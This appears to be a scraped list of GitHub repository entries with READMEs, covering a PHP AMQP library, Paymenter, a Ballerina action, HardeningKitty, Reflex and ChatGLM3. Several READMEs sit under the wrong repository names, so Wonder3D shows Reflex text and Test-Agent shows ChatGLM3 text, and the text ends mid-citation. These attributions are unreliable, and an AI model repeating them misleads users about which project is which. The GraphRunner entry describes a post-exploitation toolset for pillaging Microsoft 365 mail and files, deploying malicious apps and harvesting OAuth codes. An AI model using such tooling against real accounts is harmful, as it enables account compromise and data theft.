?>

Benchmarks

To run the publishing/consume benchmark type:

$ make benchmark

Tests

To successfully run the tests you need to first have a stock RabbitMQ broker running locally.Then, run tests like this:

$ make test

Contributing

Please see CONTRIBUTING for details.

Using AMQP 0.8

If you still want to use the old version of the protocol then you can do it by setting the following constant in your configuration code:

define('AMQP_PROTOCOL', '0.8');

The default value is '0.9.1'.

Providing your own autoloader

If for some reason you don't want to use composer, then you need to have an autoloader in place fo the library classes. People have reported to use this autoloader with success.

Original README:

Below is the original README file content. Credits goes to the original authors.

PHP library implementing Advanced Message Queuing Protocol (AMQP).

The library is port of python code of py-amqplib http://barryp.org/software/py-amqplib/

It have been tested with RabbitMQ server.

Project home page: http://code.google.com/p/php-amqplib/

For discussion, please join the group:

http://groups.google.com/group/php-amqplib-devel

For bug reports, please use bug tracking system at the project page.

Patches are very welcome!

Author: Vadim Zaliva lord@crocodile.org

Paymenter/Paymenter

2023-10-29T01:59:05Z

Free and open-source webshop alternative for hostings

Discord, Demo, Docs, Website

A advanced payment system for your hosting company

About

Introducing an advanced payment system for your hosting company, Paymenter! Paymenter is designed to be easy to use and install, with a user-friendly client and admin area. It's also highly customizable, with the ability to install a range of addons and themes from our marketplace created by talented developers and designers.

Features

Free and open-source
User-Friendly client and admin area
Easily customizable
Pay intergration with: Stripe, PayPal, Mollie and more
Server intergration with: Pterodactyl, Virtualizor, Virtfusion and more
Automatically bill your customers
Built in support center
Generate coupons to give your customers discounts

Wanna take a look?

Visit our demo at: https://demo.paymenter.org

Requirements

The requirements for Paymenter are the following:

PHP (8.1 or higher)
Composer

Installation & Documentation

For a detailed explanation of how to install and configure Paymenter, take a look at our documentation here!

Or, get additional help via Community Discord.

MicrosoftDocs/intellicode

2023-10-29T01:39:37Z

Visual Studio IntelliCode - AI-enhanced development tools. 👋Want to submit an issue to MicrosoftDocs/intellicode? If you have a bug or an idea, read the contributing guidelines before opening an issue. For FAQ's see

Microsoft Open Source Code of Conduct

This project has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opencode@microsoft.com with any additional questions or comments.

ballerina-platform/setup-ballerina

2023-10-29T01:39:37Z

Set up your GitHub Actions workflow with a specific Ballerina version

Setup Ballerina

This Github action installs Ballerina's build system and package manager command; the bal command.

Inputs

Input	Description	Required
version	Ballerina SwanLake Version	yes

Usage

Note: This action is supported on all operating systems (ubuntu, macos, windows)

Ubuntu

    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - uses: ballerina-platform/setup-ballerina@v1
        name: Install Ballerina
        with:
          version: 2201.3.2
      - run: bal version
      - run: bal run hello.bal

MacOs

    runs-on: macos-latest
    steps:
      - uses: actions/checkout@v2
      - uses: ballerina-platform/setup-ballerina@v1
        name: Install Ballerina
        with:
          version: 2201.3.2
      - run: bal version
      - run: bal run hello.bal

Windows

    runs-on: windows-latest
    steps:
      - uses: actions/checkout@v2
      - uses: ballerina-platform/setup-ballerina@v1
        name: Install Ballerina
        with:
          version: 2201.3.2
      - run: bal version
      - run: bal run hello.bal

License

The scripts and documentation in this project are released under the Apache License.

dafthack/GraphRunner

2023-10-29T01:59:37Z

A Post-exploitation Toolset for Interacting with the Microsoft Graph API

GraphRunner

GraphRunner is a post-exploitation toolset for interacting with the Microsoft Graph API. It provides various tools for performing reconnaissance, persistence, and pillaging of data from a Microsoft Entra ID (Azure AD) account.

It consists of three separate parts:

A PowerShell script where the majority of modules are located
An HTML GUI that can leverage an access token to navigate and pillage a user's account
A simple PHP redirector for harvesting authentication codes during an OAuth flow

Main Features

Search and export email
Search and export SharePoint and OneDrive files accessible to a user
Search all Teams chats and channels visible to the user and export full conversations
Deploy malicious apps
Discover misconfigured mailboxes that are exposed
Clone security groups to carry out watering hole attacks
Find groups that can be modified directly by your user or where membership rules can be abused to gain access
Search all user attributes for specific terms
Leverage a GUI built on the Graph API to pillage a user's account
Dump conditional access policies
Dump app registrations and external apps including consent and scope to identify potentially malicious apps
Tools to complete OAuth flow during consent grant attacks
GraphRunner doesn't rely on any third-party libraries or modules
Works with Windows and Linux
Continuously refresh your token package

Usage

As GraphRunner is a post-exploitation tool most of the modules rely on having authenticated access tokens. To assist with this there are multiple modules for obtaining and working with both user and application (service principal) tokens.

A good starting place is to import the PowerShell script and run the Get-GraphTokens module.

Import-Module .\GraphRunner.ps1
Get-GraphTokens

Next, check out the wiki for the full user guide and information about individual modules.

Gerenios/AADInternals

2023-10-29T01:59:37Z

AADInternals PowerShell module for administering Azure AD and Office 365

AADInternals

AADInternals is PowerShell module for administering Azure AD and Office 365

For details, please visit https://aadinternals.com/aadinternals

Installation

Run the following PowerShell command to install

Install-Module AADInternals

scipag/HardeningKitty

2023-10-29T01:59:37Z

HardeningKitty - Checks and hardens your Windows configuration

HardeningKitty

This is the stable version of HardeningKitty from the Windows Hardening Project by Michael Schneider. The stable version of HardeningKitty is signed with the code signing certificate of scip AG. Since this is the stable version, we do not accept pull requests in this repo, please send them to the development repo.

HardeningKitty supports hardening of a Windows system. The configuration of the system is retrieved and assessed using a finding list. In addition, the system can be hardened according to predefined values. HardeningKitty reads settings from the registry and uses other modules to read configurations outside the registry.

The script was developed for English systems. It is possible that in other languages the analysis is incorrect. Please create an issue if this occurs.

How to Run

Run the script with administrative privileges to access machine settings. For the user settings it is better to execute them with a normal user account. Ideally, the user account is used for daily work.

Download HardeningKitty and copy it to the target system (script and lists). Then HardeningKitty can be imported and executed:

PS C:\tmp> Import-Module .\HardeningKitty.psm1
PS C:\tmp> Invoke-HardeningKitty -EmojiSupport


         =^._.^=
        _(      )/  HardeningKitty 0.9.0-1662273740


[*] 9/4/2022 8:54:12 AM - Starting HardeningKitty


[*] 9/4/2022 8:54:12 AM - Getting user information
[*] Hostname: DESKTOP-DG83TOD
[*] Domain: WORKGROUP

...

[*] [*] 9/4/2022 8:54:12 AM - Starting Category Account Policies
[😺] ID 1103, Store passwords using reversible encryption, Result=0, Severity=Passed
[😺] ID 1100, Account lockout threshold, Result=10, Severity=Passed
[😺] ID 1101, Account lockout duration, Result=30, Severity=Passed

...

[*] 9/4/2022 8:54:12 AM - Starting Category User Rights Assignment
[😿] ID 1200, Access this computer from the network, Result=BUILTIN\Administrators;BUILTIN\Users, Recommended=BUILTIN\Administrators, Severity=Medium

...

[*] 9/4/2022 8:54:14 AM - Starting Category Administrative Templates: Printer
[🙀] ID 1764, Point and Print Restrictions: When installing drivers for a new connection (CVE-2021-34527), Result=1, Recommended=0, Severity=High
[🙀] ID 1765, Point and Print Restrictions: When updating drivers for an existing connection (CVE-2021-34527), Result=2, Recommended=0, Severity=High

...

[*] 9/4/2022 8:54:19 AM - Starting Category MS Security Guide
[😿] ID 2200, LSA Protection, Result=, Recommended=1, Severity=Medium
[😼] ID 2201, Lsass.exe audit mode, Result=, Recommended=8, Severity=Low

...

[*] 9/4/2022 8:54:25 AM - HardeningKitty is done
[*] 9/4/2022 8:54:25 AM - Your HardeningKitty score is: 4.82. HardeningKitty Statistics: Total checks: 325 - Passed: 213, Low: 33, Medium: 76, High: 3.

How To Install

First create the directory HardeningKitty and for every version a sub directory like 0.9.0 in a path listed in the PSModulePath environment variable.

Copy the module HardeningKitty.psm1, HardeningKitty.psd1, and the lists directory to this new directory.

PS C:\tmp> $Version = "0.9.0"
PS C:\tmp> New-Item -Path $Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version -ItemType Directory
PS C:\tmp> Copy-Item -Path .\HardeningKitty.psd1,.\HardeningKitty.psm1,.\lists\ -Destination $Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version\ -Recurse

For more information see Microsoft's article Installing a PowerShell Module.

How to Automatically Download and Install the Latest Release

You can use the script below to download and install the latest release of HardeningKitty.

Function InstallHardeningKitty() {
    $Version = ((Invoke-WebRequest "https://api.github.com/repos/0x6d69636b/windows_hardening/releases/latest" -UseBasicParsing) | ConvertFrom-Json).Name
    $HardeningKittyLatestVersionDownloadLink = ((Invoke-WebRequest "https://api.github.com/repos/0x6d69636b/windows_hardening/releases/latest" -UseBasicParsing) | ConvertFrom-Json).zipball_url
    $ProgressPreference = 'SilentlyContinue'
    Invoke-WebRequest $HardeningKittyLatestVersionDownloadLink -Out HardeningKitty$Version.zip
    Expand-Archive -Path ".\HardeningKitty$Version.zip" -Destination ".\HardeningKitty$Version" -Force
    $Folder = Get-ChildItem .\HardeningKitty$Version | Select-Object Name -ExpandProperty Name
    Move-Item ".\HardeningKitty$Version\$Folder\*" ".\HardeningKitty$Version\"
    Remove-Item ".\HardeningKitty$Version\$Folder\"
    New-Item -Path $Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version -ItemType Directory
    Set-Location .\HardeningKitty$Version
    Copy-Item -Path .\HardeningKitty.psd1,.\HardeningKitty.psm1,.\lists\ -Destination $Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version\ -Recurse
    Import-Module "$Env:ProgramFiles\WindowsPowerShell\Modules\HardeningKitty\$Version\HardeningKitty.psm1"
}
InstallHardeningKitty

Examples

Audit

HardeningKitty performs an audit, saves the results in a CSV file and creates a log file. The files are automatically named and receive a timestamp. Using the parameters ReportFile or LogFile, it is also possible to assign your own name and path.

The Filter parameter can be used to filter the hardening list. For this purpose the PowerShell ScriptBlock syntax must be used, for example { $_.ID -eq 4505 }. The following elements are useful for filtering: ID, Category, Name, Method, and Severity.

Invoke-HardeningKitty -Mode Audit -Log -Report

HardeningKitty can be executed with a specific list defined by the parameter FileFindingList. If HardeningKitty is run several times on the same system, it may be useful to hide the machine information. The parameter SkipMachineInformation is used for this purpose.

Invoke-HardeningKitty -FileFindingList .\lists\finding_list_0x6d69636b_user.csv -SkipMachineInformation

HardeningKitty uses the default list, and saves the results in a specific file.

Invoke-HardeningKitty -Mode Config -Report -ReportFile C:\tmp\my_hardeningkitty_report.csv

HardeningKitty uses the default list, and checks only tests with the severity Medium.

Invoke-HardeningKitty -Filter { $_.Severity -eq "Medium" }

Backup

Backups are important. Really important. Therefore, HardeningKitty also has a function to retrieve the current configuration and save it in a form that can be partially restored.

Disclaimer: HardeningKitty tries to restore the original configuration. This works quite well with registry keys and Hardening Kitty really tries its best. But the backup function is not a snapshot and does not replace a real system backup. It is not possible to restore the system 1:1 with HardeningKitty alone after HailMary. If this is a requirement, create an image or system backup and restore it.

The Backup switch specifies that the file is written in form of a finding list and can thus be used for the HailMary mode. The name and path of the backup can be specified with the parameter BackupFile.

Invoke-HardeningKitty -Mode Config -Backup

Please test this function to see if it really works properly on the target system before making any serious changes. A Schrödinger's backup is dangerous.

Non-Default Finding List

Note that if -FileFindingList is not specified, the backup is referred to the default finding list. Before deploying a specific list in HailMary mode, always create a backup referred to that specific list.

Invoke-HardeningKitty -Mode Config -Backup -BackupFile ".\myBackup.csv" -FileFindingList ".\list\{list}.csv"

Restoring a Backup

The Backup switch creates a file in form of a finding list, to restore the backup load it in HailMary mode like any find list:

Invoke-HardeningKitty -Mode HailMary -Log -Report -FileFindingList ".\myBackup.csv"

HailMary

The HailMary method is very powerful. It can be used to deploy a finding list on a system. All findings are set on this system as recommended in the list. With power comes responsibility. Please use this mode only if you know what you are doing. Be sure to have a backup of the system.

Invoke-HardeningKitty -Mode HailMary -Log -Report -FileFindingList .\lists\finding_list_0x6d69636b_machine.csv

Before HailMary is run, a finding list must be picked. It is important to check whether the settings have an influence on the stability and functionality of the system. Before running HailMary, a backup should be made.

Create a Group Policy (experimental)

Thanks to @gderybel, HardeningKitty can convert a finding list into a group policy. At the moment only registry settings can be converted and not everything has been tested yet. A new policy is created, as long as it is not assigned to an object, no change is made to the system. Use it with care.

Invoke-HardeningKitty -Mode GPO -FileFindingList .\lists\finding_list_0x6d69636b_machine.csv -GPOName HardeningKitty-Machine-01

HardeningKitty Score

Each Passed finding gives 4 points, a Low finding gives 2 points, a Medium finding gives 1 point and a High Finding gives 0 points.

The formula for the HardeningKitty Score is (Points achieved / Maximum points) * 5 + 1.

Rating

Score	Rating Casual	Rating Professional
6	😹 Excellent	Excellent
5	😺 Well done	Good
4	😼 Sufficient	Sufficient
3	😿 You should do better	Insufficient
2	🙀 Weak	Insufficient
1	😾 Bogus	Insufficient

HardeningKitty Interface

ataumo build a web based interface for HardeningKitty. The tool can be used to create your own lists and provides additional information on the hardening settings. The source code is under AGPL license and there is a demo site.

Last Update

HardeningKitty can be used to audit systems against the following baselines / benchmarks:

Name	System Version	Version
0x6d69636b Windows 10 (Machine)	22H2
0x6d69636b Windows 10 (User)	22H2
BSI SiSyPHuS Windows 10 hoher Schutzbedarf Domänenmitglied (Machine)	1809	1.0
BSI SiSyPHuS Windows 10 hoher Schutzbedarf Domänenmitglied (User)	1809	1.0
BSI SiSyPHuS Windows 10 normaler Schutzbedarf Domänenmitglied (Machine)	1809	1.0
BSI SiSyPHuS Windows 10 normaler Schutzbedarf Domänenmitglied (User)	1809	1.0
BSI SiSyPHuS Windows 10 normaler Schutzbedarf Einzelrechner (Machine)	1809	1.0
BSI SiSyPHuS Windows 10 normaler Schutzbedarf Einzelrechner (User)	1809	1.0
CIS Microsoft Windows 10 Enterprise (Machine)	1809	1.6.1
CIS Microsoft Windows 10 Enterprise (User)	1809	1.6.1
CIS Microsoft Windows 10 Enterprise (Machine)	1903	1.7.1
CIS Microsoft Windows 10 Enterprise (User)	1903	1.7.1
CIS Microsoft Windows 10 Enterprise (Machine)	1909	1.8.1
CIS Microsoft Windows 10 Enterprise (User)	1909	1.8.1
CIS Microsoft Windows 10 Enterprise (Machine)	2004	1.9.1
CIS Microsoft Windows 10 Enterprise (User)	2004	1.9.1
CIS Microsoft Windows 10 Enterprise (Machine)	20H2	1.10.1
CIS Microsoft Windows 10 Enterprise (User)	20H2	1.10.1
CIS Microsoft Windows 10 Enterprise (Machine)	21H1	1.11.0
CIS Microsoft Windows 10 Enterprise (User)	21H1	1.11.0
CIS Microsoft Windows 10 Enterprise (Machine)	21H2	1.12.0
CIS Microsoft Windows 10 Enterprise (User)	21H2	1.12.0
CIS Microsoft Windows 10 Enterprise (Machine)	22H2	2.0.0
CIS Microsoft Windows 10 Enterprise (User)	22H2	2.0.0
CIS Microsoft Windows 11 Enterprise (Machine)	21H2	1.0.0
CIS Microsoft Windows 11 Enterprise (User)	21H2	1.0.0
CIS Microsoft Windows 11 Enterprise (Machine)	22H2	2.0.0
CIS Microsoft Windows 11 Enterprise (User)	22H2	2.0.0
CIS Microsoft Windows Server 2012 R2 (Machine)	R2	2.4.0
CIS Microsoft Windows Server 2012 R2 (User)	R2	2.4.0
CIS Microsoft Windows Server 2012 R2 (Machine)	R2	2.6.0
CIS Microsoft Windows Server 2012 R2 (User)	R2	2.6.0
CIS Microsoft Windows Server 2016 (Machine)	1607	1.2.0
CIS Microsoft Windows Server 2016 (User)	1607	1.2.0
CIS Microsoft Windows Server 2016 (Machine)	1607	1.3.0
CIS Microsoft Windows Server 2016 (User)	1607	1.3.0
CIS Microsoft Windows Server 2016 (Machine)	1607	2.0.0
CIS Microsoft Windows Server 2016 (User)	1607	2.0.0
CIS Microsoft Windows Server 2019 (Machine)	1809	1.1.0
CIS Microsoft Windows Server 2019 (User)	1809	1.1.0
CIS Microsoft Windows Server 2019 (Machine)	1809	1.2.1
CIS Microsoft Windows Server 2019 (User)	1809	1.2.1
CIS Microsoft Windows Server 2019 (Machine)	1809	2.0.0
CIS Microsoft Windows Server 2019 (User)	1809	2.0.0
CIS Microsoft Windows Server 2022 (Machine)	21H2	1.0.0
CIS Microsoft Windows Server 2022 (User)	21H2	1.0.0
CIS Microsoft Windows Server 2022 (Machine)	22H2	2.0.0
CIS Microsoft Windows Server 2022 (User)	22H2	2.0.0
DoD Microsoft Windows 10 STIG (Machine)	20H2	v2r1
DoD Microsoft Windows 10 STIG (User)	20H2	v2r1
DoD Windows Server 2019 Domain Controller STIG (Machine)	20H2	v2r1
DoD Windows Server 2019 Domain Controller STIG (User)	20H2	v2r1
DoD Windows Server 2019 Member Server STIG (Machine)	20H2	v2r1
DoD Windows Server 2019 Member Server STIG (User)	20H2	v2r1
DoD Windows Defender Antivirus STIG	20H2	v2r1
DoD Windows Firewall STIG	20H2	v1r7
Microsoft Security baseline for Microsoft Edge	87	Final
Microsoft Security baseline for Microsoft Edge	88, 89, 90, 91	Final
Microsoft Security baseline for Microsoft Edge	92	Final
Microsoft Security baseline for Microsoft Edge	93, 94	Final
Microsoft Security baseline for Microsoft Edge	95	Final
Microsoft Security baseline for Microsoft Edge	96	Final
Microsoft Security baseline for Microsoft Edge	97	Final
Microsoft Security baseline for Microsoft Edge	98, 99, 100, 101, 102, 103, 104, 105, 106	Final
Microsoft Security baseline for Microsoft Edge	107, 108, 109, 110, 111	Final
Microsoft Security baseline for Microsoft Edge	112, 113	Final
Microsoft Security baseline for Microsoft Edge	114	Final
Microsoft Security baseline for Windows 10	2004	Final
Microsoft Security baseline for Windows 10	20H2, 21H1	Final
Microsoft Security baseline for Windows 10	21H2	Final
Microsoft Security baseline for Windows 10 (Machine)	22H2	Final
Microsoft Security baseline for Windows 10 (User)	22H2	Final
Microsoft Security baseline for Windows 11	21H2	Final
Microsoft Security baseline for Windows 11 (Machine)	22H2	Final
Microsoft Security baseline for Windows 11 (User)	22H2	Final
Microsoft Security baseline for Windows Server (DC)	2004	Final
Microsoft Security baseline for Windows Server (Member)	2004	Final
Microsoft Security baseline for Windows Server (DC)	20H2	Final
Microsoft Security baseline for Windows Server (Member)	20H2	Final
Microsoft Security baseline for Windows Server 2022 (DC)	21H2	Final
Microsoft Security baseline for Windows Server 2022 (Member)	21H2	Final
Microsoft Security baseline for Office 365 ProPlus (Machine)	Sept 2019	Final
Microsoft Security baseline for Office 365 ProPlus (User)	Sept 2019	Final
Microsoft Security Baseline for Microsoft 365 Apps for enterprise (Machine)	v2104, v2106	Final
Microsoft Security Baseline for Microsoft 365 Apps for enterprise (User)	v2104, v2106	Final
Microsoft Security Baseline for Microsoft 365 Apps for enterprise (Machine)	v2112	Final
Microsoft Security Baseline for Microsoft 365 Apps for enterprise (User)	v2112	Final
Microsoft Security Baseline for Microsoft 365 Apps for enterprise (Machine)	v2206	Final
Microsoft Security Baseline for Microsoft 365 Apps for enterprise (User)	v2206	Final
Microsoft Security Baseline for Microsoft 365 Apps for enterprise (Machine)	v2306	Final
Microsoft Security Baseline for Microsoft 365 Apps for enterprise (User)	v2306	Final
Microsoft Windows Server TLS Settings	1809	1.0
Microsoft Windows Server TLS Settings (Future Use with TLSv1.3)	1903	1.0

SableRaf/movelib

2023-10-29T01:39:34Z

A Processing interface for the Move Controller based on the PS Move API.

ajenshireman/ecosystem

2023-10-29T01:59:33Z

Simulated ecosystem. Semester-long project for CSIT 1520 at Pellissippi State

fandrade9/leolivre

2023-10-29T01:59:47Z

Placa desenhada para aplicacoes roboticas baseada no microcontrolador ATMEGA32u4 e Arduino Leonardo.

biktorrr/Verrijktkoninkrijk

2023-10-29T01:59:47Z

iliayatsenko/iliayatsenko.github.io

2023-10-29T01:40:08Z

Sources of personal blog.

xiaogaozi/vagrant-phabricator

2023-10-30T01:34:07Z

Vagrant for Phabricator

kubernetes-sigs/kustomize

2023-10-29T01:59:55Z

Customization of kubernetes YAML configurations

xxlong0/Wonder3D

2023-10-29T01:40:18Z

🕸 Web apps in pure Python 🐍

+ Searching for Pynecone? You are in the right repo. Pynecone has been renamed to Reflex. +

✨ Performant, customizable web apps in pure Python. Deploy in seconds. ✨

English | 简体中文 | 繁體中文 | Türkçe | हिंदी | Português (Brasil) | Italiano | 한국어

⚙️ Installation

Open a terminal and run (Requires Python 3.8+):

pip install reflex

🥳 Create your first app

Installing reflex also installs the reflex command line tool.

Test that the install was successful by creating a new project. (Replace my_app_name with your project name):

mkdir my_app_name
cd my_app_name
reflex init

This command initializes a template app in your new directory.

You can run this app in development mode:

reflex run

You should see your app running at http://localhost:3000.

Now you can modify the source code in my_app_name/my_app_name.py. Reflex has fast refreshes so you can see your changes instantly when you save your code.

🫧 Example App

Let's go over an example: creating an image generation UI around DALL·E. For simplicity, we just call the OpenAI API, but you could replace this with an ML model run locally.

Here is the complete code to create this. This is all done in one Python file!

import reflex as rx
import openai

openai.api_key = "YOUR_API_KEY"

class State(rx.State):
    """The app state."""
    prompt = ""
    image_url = ""
    processing = False
    complete = False

    def get_image(self):
        """Get the image from the prompt."""
        if self.prompt == "":
            return rx.window_alert("Prompt Empty")

        self.processing, self.complete = True, False
        yield
        response = openai.Image.create(prompt=self.prompt, n=1, size="1024x1024")
        self.image_url = response["data"][0]["url"]
        self.processing, self.complete = False, True
        

def index():
    return rx.center(
        rx.vstack(
            rx.heading("DALL·E"),
            rx.input(placeholder="Enter a prompt", on_blur=State.set_prompt),
            rx.button(
                "Generate Image",
                on_click=State.get_image,
                is_loading=State.processing,
                width="100%",
            ),
            rx.cond(
                State.complete,
                     rx.image(
                         src=State.image_url,
                         height="25em",
                         width="25em",
                    )
            ),
            padding="2em",
            shadow="lg",
            border_radius="lg",
        ),
        width="100%",
        height="100vh",
    )

# Add state and page to the app.
app = rx.App()
app.add_page(index, title="reflex:DALL·E")
app.compile()

Let's break this down.

Reflex UI

Let's start with the UI.

def index():
    return rx.center(
        ...
    )

This index function defines the frontend of the app.

We use different components such as center, vstack, input, and button to build the frontend. Components can be nested within each other to create complex layouts. And you can use keyword args to style them with the full power of CSS.

Reflex comes with 60+ built-in components to help you get started. We are actively adding more components, and it's easy to create your own components.

State

Reflex represents your UI as a function of your state.

class State(rx.State):
    """The app state."""
    prompt = ""
    image_url = ""
    processing = False
    complete = False

The state defines all the variables (called vars) in an app that can change and the functions that change them.

Here the state is comprised of a prompt and image_url. There are also the booleans processing and complete to indicate when to show the circular progress and image.

Event Handlers

def get_image(self):
    """Get the image from the prompt."""
    if self.prompt == "":
        return rx.window_alert("Prompt Empty")

    self.processing, self.complete = True, False
    yield
    response = openai.Image.create(prompt=self.prompt, n=1, size="1024x1024")
    self.image_url = response["data"][0]["url"]
    self.processing, self.complete = False, True

Within the state, we define functions called event handlers that change the state vars. Event handlers are the way that we can modify the state in Reflex. They can be called in response to user actions, such as clicking a button or typing in a text box. These actions are called events.

Our DALL·E. app has an event handler, get_image to which get this image from the OpenAI API. Using yield in the middle of an event handler will cause the UI to update. Otherwise the UI will update at the end of the event handler.

Routing

Finally, we define our app.

app = rx.App()

We add a page from the root of the app to the index component. We also add a title that will show up in the page preview/browser tab.

app.add_page(index, title="DALL-E")
app.compile()

You can create a multi-page app by adding more pages.

📑 Resources

📑 Docs | 🗞️ Blog | 📱 Component Library | 🖼️ Gallery | 🛸 Deployment

✅ Status

Reflex launched in December 2022 with the name Pynecone.

As of July 2023, we are in the Public Beta stage.

✅ Public Alpha: Anyone can install and use Reflex. There may be issues, but we are working to resolve them actively.
🔶 Public Beta: Stable enough for non-enterprise use-cases.
Public Hosting Beta: Optionally, deploy and host your apps on Reflex!
Public: Reflex is production ready.

Reflex has new releases and features coming every week! Make sure to ⭐ star and 👀 watch this repository to stay up to date.

Contributing

We welcome contributions of any size! Below are some good ways to get started in the Reflex community.

Join Our Discord: Our Discord is the best place to get help on your Reflex project and to discuss how you can contribute.
GitHub Discussions: A great way to talk about features you want added or things that are confusing/need clarification.
GitHub Issues: These are an excellent way to report bugs. Additionally, you can try and solve an existing issue and submit a PR.

We are actively looking for contributors, no matter your skill level or experience.

License

Reflex is open-source and licensed under the Apache License 2.0.

codefuse-ai/Test-Agent

2023-10-29T01:40:18Z

ChatGLM3 series: Open Bilingual Chat LLMs | 开源双语对话语言模型

ChatGLM3

🤗 HF Repo • 🤖 ModelScope • 🐦 Twitter • 📃 [GLM@ACL 22] [GitHub] • 📃 [GLM-130B@ICLR 23] [GitHub]

👋 加入我们的 Slack 和 WeChat

📍在 chatglm.cn 体验更大规模的 ChatGLM 模型。

介绍

更强大的基础模型： ChatGLM3-6B 的基础模型 ChatGLM3-6B-Base 采用了更多样的训练数据、更充分的训练步数和更合理的训练策略。在语义、数学、推理、代码、知识等不同角度的数据集上测评显示，ChatGLM3-6B-Base 具有在 10B 以下的基础模型中最强的性能。
更完整的功能支持： ChatGLM3-6B 采用了全新设计的 Prompt 格式，除正常的多轮对话外。同时原生支持工具调用（Function Call）、代码执行（Code Interpreter）和 Agent 任务等复杂场景。
更全面的开源序列： 除了对话模型 ChatGLM3-6B 外，还开源了基础模型 ChatGLM3-6B-Base、长文本对话模型 ChatGLM3-6B-32K。以上所有权重对学术研究完全开放，在填写问卷进行登记后亦允许免费商业使用。

模型列表

Model	Seq Length	Download
ChatGLM3-6B	8k	HuggingFace \| ModelScope
ChatGLM3-6B-Base	8k	HuggingFace \| ModelScope
ChatGLM3-6B-32K	32k	HuggingFace \| ModelScope

评测结果

典型任务

我们选取了 8 个中英文典型数据集，在 ChatGLM3-6B (base) 版本上进行了性能测试。

Model	GSM8K	MATH	BBH	MMLU	C-Eval	CMMLU	MBPP	AGIEval
ChatGLM2-6B-Base	32.4	6.5	33.7	47.9	51.7	50.0	-	-
Best Baseline	52.1	13.1	45.0	60.1	63.5	62.2	47.5	45.8
ChatGLM3-6B-Base	72.3	25.7	66.1	61.4	69.0	67.5	52.4	53.7

Best Baseline 指的是模型参数在 10B 以下、在对应数据集上表现最好的预训练模型，不包括只针对某一项任务训练而未保持通用能力的模型。

对 ChatGLM3-6B-Base 的测试中，BBH 采用 3-shot 测试，需要推理的 GSM8K、MATH 采用 0-shot CoT 测试，MBPP 采用 0-shot 生成后运行测例计算 Pass@1 ，其他选择题类型数据集均采用 0-shot 测试。

Model	平均	Summary	Single-Doc QA	Multi-Doc QA	Code	Few-shot	Synthetic
ChatGLM2-6B-32K	41.5	24.8	37.6	34.7	52.8	51.3	47.7
ChatGLM3-6B-32K	50.2	26.6	45.8	46.1	56.2	61.2	65

使用方式

环境安装

首先需要下载本仓库：

git clone https://github.com/THUDM/ChatGLM3
cd ChatGLM3

然后使用 pip 安装依赖：

pip install -r requirements.txt

其中 transformers 库版本推荐为 4.30.2，torch 推荐使用 2.0 及以上的版本，以获得最佳的推理性能。

综合 Demo

我们提供了一个集成以下三种功能的综合 Demo，运行方法请参考综合 Demo

Chat: 对话模式，在此模式下可以与模型进行对话。
Tool: 工具模式，模型除了对话外，还可以通过工具进行其他操作。
Code Interpreter: 代码解释器模式，模型可以在一个 Jupyter 环境中执行代码并获取结果，以完成复杂任务。

代码调用

可以通过如下代码调用 ChatGLM 模型来生成对话：

>>> from transformers import AutoTokenizer, AutoModel
>>> tokenizer = AutoTokenizer.from_pretrained("THUDM/chatglm3-6b", trust_remote_code=True)
>>> model = AutoModel.from_pretrained("THUDM/chatglm3-6b", trust_remote_code=True, device='cuda')
>>> model = model.eval()
>>> response, history = model.chat(tokenizer, "你好", history=[])
>>> print(response)
你好👋!我是人工智能助手 ChatGLM3-6B,很高兴见到你,欢迎问我任何问题。
>>> response, history = model.chat(tokenizer, "晚上睡不着应该怎么办", history=history)
>>> print(response)
晚上睡不着可能会让你感到焦虑或不舒服,但以下是一些可以帮助你入睡的方法:

1. 制定规律的睡眠时间表:保持规律的睡眠时间表可以帮助你建立健康的睡眠习惯,使你更容易入睡。尽量在每天的相同时间上床,并在同一时间起床。
2. 创造一个舒适的睡眠环境:确保睡眠环境舒适,安静,黑暗且温度适宜。可以使用舒适的床上用品,并保持房间通风。
3. 放松身心:在睡前做些放松的活动,例如泡个热水澡,听些轻柔的音乐,阅读一些有趣的书籍等,有助于缓解紧张和焦虑,使你更容易入睡。
4. 避免饮用含有咖啡因的饮料:咖啡因是一种刺激性物质,会影响你的睡眠质量。尽量避免在睡前饮用含有咖啡因的饮料,例如咖啡,茶和可乐。
5. 避免在床上做与睡眠无关的事情:在床上做些与睡眠无关的事情,例如看电影,玩游戏或工作等,可能会干扰你的睡眠。
6. 尝试呼吸技巧:深呼吸是一种放松技巧,可以帮助你缓解紧张和焦虑,使你更容易入睡。试着慢慢吸气,保持几秒钟,然后缓慢呼气。

如果这些方法无法帮助你入睡,你可以考虑咨询医生或睡眠专家,寻求进一步的建议。

从本地加载模型

从 Hugging Face Hub 下载模型需要先安装Git LFS，然后运行

git clone https://huggingface.co/THUDM/chatglm3-6b

如果从你从 HuggingFace 下载比较慢，也可以从 ModelScope 中下载。

网页版对话 Demo

可以通过以下命令启动基于 Gradio 的网页版 demo：

python web_demo.py

可以通过以下命令启动基于 Streamlit 的网页版 demo：

streamlit run web_demo2.py

网页版 demo 会运行一个 Web Server，并输出地址。在浏览器中打开输出的地址即可使用。经测试，基于 Streamlit 的网页版 Demo 会更流畅。

命令行对话 Demo

运行仓库中 cli_demo.py：

python cli_demo.py

程序会在命令行中进行交互式的对话，在命令行中输入指示并回车即可生成回复，输入 clear 可以清空对话历史，输入 stop 终止程序。

API 部署

python openai_api.py

进行 API 调用的示例代码为

import openai
if __name__ == "__main__":
    openai.api_base = "http://localhost:8000/v1"
    openai.api_key = "none"
    for chunk in openai.ChatCompletion.create(
        model="chatglm3-6b",
        messages=[
            {"role": "user", "content": "你好"}
        ],
        stream=True
    ):
        if hasattr(chunk.choices[0].delta, "content"):
            print(chunk.choices[0].delta.content, end="", flush=True)

工具调用

关于工具调用的方法请参考工具调用。

低成本部署

请见 DEPLOYMENT.md。

引用

如果你觉得我们的工作有帮助的话，请考虑引用下列论文。

@article{zeng2022glm,
  title={Glm-130b: An open bilingual pre-trained model},
  author={Zeng, Aohan and Liu, Xiao and Du, Zhengxiao and Wang, Zihan and Lai, Hanyu and Ding, Ming and Yang, Zhuoyi and Xu, Yifan and Zheng, Wendi and Xia, Xiao and others},
  journal={arXiv preprint arXiv:2210.02414},
  year={2022}
}

@inproceedings{du2022glm,
  title={GLM: General Language Model Pretraining with Autoregressive Blank Infilling},
